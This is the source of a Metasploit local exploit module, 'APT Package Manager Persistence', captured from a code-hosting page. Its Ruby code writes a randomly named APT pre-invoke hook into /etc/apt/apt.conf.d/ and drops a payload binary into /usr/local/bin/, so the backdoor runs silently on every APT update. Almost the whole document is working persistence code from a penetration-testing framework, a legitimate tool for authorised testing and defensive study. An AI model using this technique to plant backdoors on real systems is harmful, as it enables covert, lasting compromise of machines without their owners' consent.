Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/apt_package_manager_persistence.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking7include Msf::Exploit::EXE8include Msf::Exploit::FileDropper9include Msf::Post::File10include Msf::Post::Linux::System1112def initialize(info = {})13super(update_info(info,14'Name' => 'APT Package Manager Persistence',15'Description' => %q(16This module will run a payload when the package manager is used. No17handler is ran automatically so you must configure an appropriate18exploit/multi/handler to connect. This module creates a pre-invoke hook19for APT in apt.conf.d. The hook name syntax is numeric followed by text.20),21'License' => MSF_LICENSE,22'Author' => ['Aaron Ringo'],23'Platform' => ['linux', 'unix'],24'Arch' =>25[26ARCH_CMD,27ARCH_X86,28ARCH_X64,29ARCH_ARMLE,30ARCH_AARCH64,31ARCH_PPC,32ARCH_MIPSLE,33ARCH_MIPSBE34],35'SessionTypes' => ['shell', 'meterpreter'],36'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },37'DisclosureDate' => '1999-03-09', # Date APT package manager was included in Debian38'References' => ['URL', 'https://unix.stackexchange.com/questions/204414/how-to-run-a-command-before-download-with-apt-get'],39'Targets' => [['Automatic', {}]],40'DefaultTarget' => 041))4243register_options(44[45OptString.new('HOOKNAME', [false, 'Name of hook file to write']),46OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])47])4849register_advanced_options(50[51OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/'])52])53end5455def exploit56hook_path = '/etc/apt/apt.conf.d/'57unless writable? hook_path58fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"59end60hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")6162backdoor_path = datastore['WritableDir']63unless writable? backdoor_path64fail_with Failure::BadConfig, "#{backdoor_path} is not writable"65end66backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)67backdoor_path << backdoor_name6869print_status('Attempting to write hook:')70hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"71write_file(hook_path, hook_script)7273unless exist? hook_path74fail_with Failure::Unknown, 'Failed to write Hook'75end76print_status("Wrote #{hook_path}")7778if payload.arch.first == 'cmd'79write_file(backdoor_path, payload.encoded)80else81write_file(backdoor_path, generate_payload_exe)82end8384unless exist? backdoor_path85fail_with Failure::Unknown, "Failed to write #{backdoor_path}"86end87print_status("Backdoor uploaded #{backdoor_path}")88print_status('Backdoor will run on next APT update')8990# permissions chosen to reflect common perms in /usr/local/bin/91chmod(backdoor_path, 0755)92end93end949596